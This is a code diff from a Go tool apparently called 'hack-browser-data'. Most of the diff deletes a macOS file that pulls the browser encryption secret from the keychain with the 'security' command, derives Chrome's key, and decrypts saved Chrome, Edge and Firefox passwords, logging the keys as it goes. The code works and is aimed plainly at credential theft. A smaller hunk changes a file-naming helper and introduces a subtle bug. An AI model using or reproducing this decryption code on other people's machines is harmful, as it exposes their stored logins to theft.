@ -122,7 +107,7 @@ func TimeStampFormat(stamp int64) time.Time {
func TimeEpochFormat(epoch int64) time.Time {
maxTime := int64(99633311740000000)
if epoch > maxTime {
epoch = maxTime
return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local)
}
t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC)
d := time.Duration(epoch)
@ -156,9 +141,9 @@ func WriteFile(filename string, data []byte) error {
}
func FormatFileName(dir, browser, filename, format string) string {
r := strings.TrimSpace(strings.ToLower(filename))
r = strings.Replace(r, " ", "_", -1)
p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, browser, format))
r := strings.TrimSpace(strings.ToLower(browser))
r = strings.Replace(browser, " ", "_", -1)
p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, filename, format))
return p
}

@ -1,190 +0,0 @@
package utils
import (
"bytes"
"crypto/hmac"
"crypto/sha1"
"encoding/asn1"
"encoding/hex"
"errors"
"hack-browser-data/log"
"os/exec"
"strings"
"golang.org/x/crypto/pbkdf2"
)
const (
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
chromeCommand = "Chrome"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
edgeCommand = "Microsoft Edge"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/"
fireFoxCommand = ""
)
var (
iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
command = []string{"security", "find-generic-password", "-wa"}
chromeSalt = []byte("saltysalt")
chromeKey []byte
browserList = map[string]struct {
ProfilePath string
Command string
}{
"chrome": {
chromeProfilePath,
chromeCommand,
},
"edge": {
edgeProfilePath,
edgeCommand,
},
"firefox": {
fireFoxProfilePath,
fireFoxCommand,
},
}
)
func DecryptStringWithDPAPI(data []byte) (string, error) {
return string(data), nil
}
func PickBrowser(name string) (browserDir, command string, err error) {
name = strings.ToLower(name)
if choice, ok := browserList[name]; ok {
return choice.ProfilePath, choice.Command, err
}
return "", "", errBrowserNotSupported
}
func InitKey(key string) error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
cmd = exec.Command(command[0], command[1], command[2], key)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Error(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Error(err)
}
temp := stdout.Bytes()
chromePass := temp[:len(temp)-1]
decryptChromeKey(chromePass)
return err
}
func decryptChromeKey(chromePass []byte) {
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
}
func DecryptChromePass(encryptPass []byte) (string, error) {
if len(encryptPass) > 3 {
if len(chromeKey) == 0 {
return "", errKeyIsEmpty
}
m, err := aes128CBCDecrypt(chromeKey, iv, encryptPass[3:])
return string(m), err
} else {
return "", &DecryptError{
err: errPasswordIsEmpty,
}
}
}
/*
SEQUENCE (2 elem)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
OCTET STRING (20 byte)
INTEGER 1
OCTET STRING (16 byte)
*/
type NssPBE struct {
SequenceA
Encrypted []byte
}
type MetaPBE struct {
SequenceA
Encrypted []byte
}
type SequenceA struct {
DecryptMethod asn1.ObjectIdentifier
SequenceB
}
type SequenceB struct {
EntrySalt []byte
Len int
}
func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) {
log.Debug(hex.EncodeToString(metaBytes))
_, err = asn1.Unmarshal(metaBytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
log.Debug(hex.EncodeToString(nssA11Bytes))
_, err = asn1.Unmarshal(nssA11Bytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) {
//byte[] GLMP; // GlobalSalt + MasterPassword
//byte[] HP; // SHA1(GLMP)
//byte[] HPES; // HP + EntrySalt
//byte[] CHP; // SHA1(HPES)
//byte[] PES; // EntrySalt completed to 20 bytes by zero
//byte[] PESES; // PES + EntrySalt
//byte[] k1;
//byte[] tk;
//byte[] k2;
//byte[] k; // final value conytaining key and iv
glmp := append(globalSalt, masterPwd...)
hp := sha1.Sum(glmp)
s := append(hp[:], entrySalt...)
chp := sha1.Sum(s)
pes := PaddingZero(entrySalt, 20)
tk := hmac.New(sha1.New, chp[:])
tk.Write(pes)
pes = append(pes, entrySalt...)
k1 := hmac.New(sha1.New, chp[:])
k1.Write(pes)
tkPlus := append(tk.Sum(nil), entrySalt...)
k2 := hmac.New(sha1.New, chp[:])
k2.Write(tkPlus)
k := append(k1.Sum(nil), k2.Sum(nil)...)
iv := k[len(k)-8:]
key := k[:24]
log.Warnf("key=%s iv=%s", hex.EncodeToString(key), hex.EncodeToString(iv))
return Des3Decrypt(key, iv, encrypted)
}
Loading…
Cancel
Save